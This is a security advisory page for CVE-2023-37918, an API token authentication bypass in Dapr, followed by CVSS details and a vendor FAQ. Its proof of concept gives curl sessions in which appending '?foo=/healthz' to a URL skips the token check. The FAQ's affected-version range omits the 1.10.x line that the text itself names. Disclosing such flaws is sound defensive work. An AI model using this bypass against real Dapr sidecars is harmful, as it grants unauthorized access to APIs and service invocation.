CVE-2023-37918

A vulnerability has been found in Dapr that allows bypassing API token authentication, which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request.

Users who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2.

Details

When API token authentication is enabled, Dapr requires all calls from applications to include the dapr-api-token header, with a value matching what's included in the Dapr's configuration. In order to allow for healthchecks to work, the /v1.0/healthz and /v1.0/healthz/outbound HTTP APIs are excluded from the API token authentication check, and are always allowed.

Dapr <= 1.10.8 and <= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains /healthz to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring.

As a consequence, attackers were able to bypass API token authentication by including /healthz anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation.

Proof of Concept

$ curl -v http://localhost:3500/v1.0/metadata
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
> GET /v1.0/metadata HTTP/1.1
> Host: localhost:3500
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Date: Mon, 17 Jul 2023 18:13:13 GMT
< Content-Type: text/plain; charset=utf-8
< Content-Length: 17
< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
<
* Connection #0 to host localhost left intact
invalid api token


$ curl -v http://localhost:3500/v1.0/metadata -H "dapr-api-token: mytoken"
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
> GET /v1.0/metadata HTTP/1.1
> Host: localhost:3500
> User-Agent: curl/7.74.0
> Accept: */*
> dapr-api-token: mytoken
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 17 Jul 2023 18:13:26 GMT
< Content-Type: application/json
< Content-Length: 119
< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
<
* Connection #0 to host localhost left intact
{"id":"foo","actors":[],"extended":{"daprRuntimeVersion":"v1.11.1"},"components":[],"httpEndpoints":[],"subscriptions":[]}


$ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
> GET /v1.0/metadata?foo=/healthz HTTP/1.1
> Host: localhost:3500
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 17 Jul 2023 18:13:44 GMT
< Content-Type: application/json
< Content-Length: 119
< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
<
* Connection #0 to host localhost left intact
{"id":"foo","actors":[],"extended":{"daprRuntimeVersion":"v1.11.1"},"components":[],"httpEndpoints":[],"subscriptions":[]}

This vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the dapr-api-token in the request is invalid or missing.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2023-37918 has a CVSS score of 6.8 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.11.2, 1.10.9); upgrading removes the vulnerable code path.

Kodem intelligence

The issue has been fixed in Dapr 1.10.9 and 1.11.2.

1. What is CVE-2023-37918? CVE-2023-37918 is a medium-severity improper authentication vulnerability in github.com/dapr/dapr (go), affecting versions >= 1.11.0, < 1.11.2. It is fixed in 1.11.2, 1.10.9. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2023-37918? CVE-2023-37918 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/dapr/dapr are affected by CVE-2023-37918? github.com/dapr/dapr (go) versions >= 1.11.0, < 1.11.2 is affected.
4. Is there a fix for CVE-2023-37918? Yes. CVE-2023-37918 is fixed in 1.11.2, 1.10.9. Upgrade to this version or later.
5. Is CVE-2023-37918 exploitable, and should I be worried? Whether CVE-2023-37918 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-37918 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-37918?
   • Upgrade github.com/dapr/dapr to 1.11.2 or later
   • Upgrade github.com/dapr/dapr to 1.10.9 or later